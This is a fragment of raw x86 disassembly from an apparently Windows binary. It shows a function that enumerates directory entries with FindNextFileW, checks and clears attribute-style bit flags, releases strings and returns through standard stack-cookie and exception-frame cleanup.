mov ecx, 0x4fc070
mov edx, 3
sub eax, ecx
mov dword [ebp - 0x428], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41de0c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41ddf0
jmp 0x41de6f
xor eax, eax
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
lea ecx, [ebp - 0x450]
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
add eax, 0xfffffffc
mov dword [ebp - 0x43c], 7
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004388a0
or edi, 0x20000040
lea ecx, [ebp - 0x450]
mov edx, 0x51fdb8
mov dword [ebp - 0x41c], edi
call fcn.0043ae80
test al, al
jne 0x41de6f
mov byte [ebp - 0x421], al
jmp 0x41de76
mov esi, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
mov eax, dword [ebp - 0x41c]
test al, 0x40
je 0x41de9a
and eax, 0xffffffbf
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 0x20
je 0x41deb8
and eax, 0xffffffdf
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 0x10
je 0x41ded6
and eax, 0xffffffef
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 8
je 0x41def4
and eax, 0xfffffff7
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 4
je 0x41df12
and eax, 0xfffffffb
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 2
je 0x41df30
and eax, 0xfffffffd
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 1
je 0x41df48
and eax, 0xfffffffe
lea ecx, [ebp - 0x574]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
test esi, esi
jns 0x41df5d
lea ecx, [ebp - 0x55c]
and esi, 0x7fffffff
call fcn.004049c0
test esi, 0x40000000
je 0x41df76
lea ecx, [ebp - 0x544]
and esi, 0xbfffffff
call fcn.004049c0
test esi, 0x20000000
je 0x41df8f
lea ecx, [ebp - 0x5a4]
and esi, 0xdfffffff
call fcn.004049c0
test esi, 0x10000000
je 0x41dfa8
lea ecx, [ebp - 0x514]
and esi, 0xefffffff
call fcn.004049c0
test esi, 0x8000000
je 0x41dfc1
lea ecx, [ebp - 0x52c]
and esi, 0xf7ffffff
call fcn.004049c0
test esi, 0x4000000
je 0x41dfda
lea ecx, [ebp - 0x4cc]
and esi, 0xfbffffff
call fcn.004049c0
test esi, 0x2000000
je 0x41dff3
lea ecx, [ebp - 0x4e4]
and esi, 0xfdffffff
call fcn.004049c0
mov dword [ebp - 4], 5
test esi, 0x1000000
je 0x41e013
lea ecx, [ebp - 0x4fc]
and esi, 0xfeffffff
call fcn.004049c0
cmp byte [ebp - 0x421], 0
jne 0x41e030
lea ecx, [ebp - 0x2c]
call fcn.004171d0
cmp al, 1
je 0x41e030
lea ecx, [ebp - 0x2c]
call fcn.0040f630
mov edi, dword [ebp - 0x41c]
lea eax, [ebp - 0x35c]
push eax
push dword [ebp - 0x4b4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41b8a1
push dword [ebp - 0x4b4]
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x2c]
call fcn.004049c0
lea ecx, [ebp - 0x5c]
call fcn.00432290
lea ecx, [ebp - 0x44]
call fcn.00432290
lea ecx, [ebp + 8]
call fcn.004049c0
lea ecx, [ebp + 0x20]
call fcn.004049c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00490dbb
mov esp, ebp
pop ebp
ret
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
call fcn.00438890
int3